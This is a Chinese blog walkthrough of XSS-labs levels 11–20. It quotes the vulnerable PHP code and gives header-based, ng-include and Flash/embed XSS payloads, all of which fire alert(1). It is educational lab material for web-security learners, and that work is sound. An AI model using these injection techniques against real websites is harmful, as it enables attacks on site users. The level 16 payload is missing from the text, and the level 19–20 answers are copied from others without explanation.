文章总结: 本文解析XSS-labs关卡11至20,涵盖HTTP头注入、ng-include绕过及换行符替代空格等技巧。详细演示了利用Referer等头部和embed参数构造XSSPayload的过程,涉及FlashXSS基础。文章结构清晰,适合Web安全初学者实践。
综合评分: 85
文章分类: WEB安全,渗透测试,漏洞分析
一起来通关xss-labs(下):Level 11-20
原创
Caigensec
菜根网络安全杂谈
2025年1月5日 16:33
安徽
点击标题下「蓝色微信名」可快速关注
免责声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规,勿做违法行为!本公众号尊重知识产权,如有侵权请联系我们删除。
01
Level 11-15
XSS-labs Level 14靶场引用的链接失效,无法完成实验,Level 17-20需要使用到Flash插件,因为Flash已经停用,了解一下即可!
1、Level 11
看前端代码,没有作用,没办法,直接看后端代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现了一个HTTP_REFERER传递给变量str11,抓包看一下
知识补充:当用户通过点击链接从一个页面跳转到另一个页面时,新页面的 $_SERVER['HTTP_REFERER'] 会存储用户来自的页面的 URL。所以当我们从Level 10跳转到Level 11时,可以看到Referer的值为Level 10的URL。
尝试修改一下Referer的值
“onclick=”javascript:alert(1)” type=”text,放过修改后的数据包,点击输入框,触发弹窗,通关!
通关代码:抓包修改Referer:”onclick=”javascript:alert(1)” type=”text
2、Level 12
查看前端代码,发现了一个t_ua,猜测可以通过修改UserAgent值绕过
抓包,并进行修改
和上一关一样触发弹窗
通关代码:抓包修改User-Agent:”onclick=”javascript:alert(1)” type=”text
3、Level 13
查看前端页面代码,发现一个t_cook变量,猜测可能是cookie字段
查看后端代码了,发现确实是更改cookie字段,不过这里是要修改user的值
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
抓包修改Cookie的值user=“onclick=”javascript:alert(1)” type=”text
放过修改后的数据包,点击输入框,触发弹窗,通关!
通关代码:抓包修改Cookie:user=”onclick=”javascript:alert(1)” type=”text
4、Level 14
本关卡因为外部链接无法访问,所以完成不了。
5、Level 15
查看前端页面代码,发现了ng-include,猜测可能要用到文件包含
知识补充:ng-include 指令用于包含外部的 HTML 文件基本语法< ng-include src= "filename" οnlοad= "expression" autoscroll= "expression" > < /ng-include >
看一下后端代码,看看有没有可以传值的变量
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
有个src变量,并进行了HTML实体编码,那就是构造一个src语句,完成脚本运行。
可以把前面的关卡利用起来,Level 10也使用htmlspecialchars,我们包含html选择Level 10的http://www.xsslabs.com:8083/level10.php(注意:这里你要填自己的链接地址,注意修改),并利用前面的通关代码,因此可以构造
src=’http://www.xsslabs.com:8083/level10.php?t_sort=”onclick=”javascript:alert(1)” type=”text’
点击输入框,触发弹窗,通关!
通关代码:src=’http://www.xsslabs.com:8083/level10.php?t_sort=”onclick=”javascript:alert(1)” type=”text’
02
Level 16-20
1、Level 16
看一下后端代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
把输入的script、空格、/都替换成了 
因此可以构造如下语句:用换行符替换空格,URL编码换行符是%0A
点击payload的长度:27,触发弹窗,通关!
2、Level 17
查看后端代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
有两个变量arg01和arg02可以进行传值,进行了HTML实体编码,并且两个中间有个=,假设arg01=111,arg02=222构成这样一样链接
<embed src=xsf01.swf?111=222 width=100% heigth=100%>
因此,我们可以利用中间的=,通过改变arg01和arg02的值构造语句
令arg01=%20onmouseover,arg02=alert(1),构造语句
arg01=%20onmouseover&arg02=alert(1),鼠标经过图片,触发弹窗,通关!
通关代码:arg01=%20onmouseover&arg02=alert(1)
3、Level 18
感觉Level 17没什么区别,尝试输入arg01=%20onmouseover&arg02=alert(1),触发弹窗,通关!
通关代码:arg01=%20onmouseover&arg02=alert(1)
4、Level 19
尝试输入arg01=%20onmouseover&arg02=alert(1),没弹窗,查看前端代码,发现多了双引号””
尝试了很多方法,都不行,放弃了。
通过查阅资料得知,这一关涉及到flash的xss,笔者不懂这方面的,给出别人的答案。
通关代码:arg01=version&arg02=xss
5、Level 20
这一关笔者也不会,看一下别人的答案把。
通关代码:arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height
THE END
亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜根网络安全杂谈 Caigensec《一起来通关xss-labs(下):Level 11-20》